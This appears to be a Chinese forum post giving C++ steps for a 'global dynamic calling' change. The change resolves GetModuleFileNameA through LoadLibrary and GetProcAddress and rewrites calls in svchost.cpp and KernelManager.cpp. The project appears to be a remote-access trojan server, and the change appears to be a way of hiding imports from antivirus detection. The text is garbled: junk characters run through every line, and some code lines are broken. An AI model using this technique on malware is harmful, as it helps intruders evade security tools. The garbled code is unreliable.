[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记9 g$ B  J* t& O2 }' y* G0 F1 y
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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7 Q* |# v) Q* q# S1 J# p# GDTDY.h：/ [, X7 h9 X  M  B# N$ ^4 m2 J# T

" I. Q& q( O/ B% x% W" k#if _MSC_VER>1000
- O9 _" k/ ^5 r0 ]# l7 V$ N#pragma once) q8 A1 b3 R. e3 ?/ F* L2 o3 k
#endif //_MSC_VER>1000
" K" F* M# y5 h! s#include<windows.h>
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$ C7 [, X0 J  ]' ]+ G  m: R) ytypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
; o* l8 X; K0 {7 {% r9 b. C; q0 rclass DTDY6 [1 u9 ~: O2 E/ S+ B/ z1 M
{
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DTDY();! w7 |; e! n/ c- B2 B
virtual ~DTDY();& n+ U6 j4 a8 g  u+ V" f; Q
public:
+ Y3 w0 F3 r, o) h( _( V* {static pGetModuleFileNameA MyGetModuleFileName;, ~: n" i! _% Q" H1 K- H
static BOOL FunInitiallization();
/ L/ w5 F8 }/ k$ W9 m};
. O7 F. e2 D6 l( V9 X3 f#endif
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  O9 t/ e6 T: q' b8 {' TDTDY.cpp:: Z7 ]5 w" v& J6 B9 r0 q. }/ |

3 Z$ S1 S9 |) d#include "DTDY.h"7 w. l! Y/ ^" a! o( F' ?5 N
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;! H# b; Y- K# O) l
DTDY:TDY()4 ^" ?3 d4 L0 m/ F! Q% ~% G. T
{
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DTDY::~DTDY()
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}
2 |3 s8 _9 z" O+ y/ zBOOL DTDY::FunInitiallization(), A8 d$ Z4 {' j
{
8 u7 ]* _) @1 W2 Y/ aHMODULE hModule=LoadLibrary("kernel32.dll");
1 Z+ P8 ~+ c1 M6 i& H0 x* D1 `MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");4 ]  m2 R; w3 f# U, e
if(!MyGetModuleFileName=) return FALSE;" I1 n# p  D' L& C. _
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return TRUE;
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svchost.cpp:
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#include "DTDY.h"7 V1 D+ v: B$ P( `; W
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)/ ?; Y5 K6 j/ v  I; R+ U$ H
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switch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:7 P0 C. O: S+ J& N7 W* N
if(!DTDY::FunInitiallization()) return FALSE;; S2 o4 Y# A  ]. Q! v

5 b4 r6 D/ G. o3 h, mbreak;
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def! R/ @) p# n* e$ W" e
改写为
9 Z$ g2 \4 _: Z5 t9 IDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));  Z0 j- V- Y) o1 Y  H9 A9 H
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0 h2 ~1 V; ]: |" e5 a# ~0 }! kKernelManager.cpp:
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#include "../DTDY.h"
3 H" |6 x0 \; Z  P- G) X; I% DGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
. j8 ^) ?9 _* i9 A, u改写为
" \6 n5 h! m( i3 w6 z& gDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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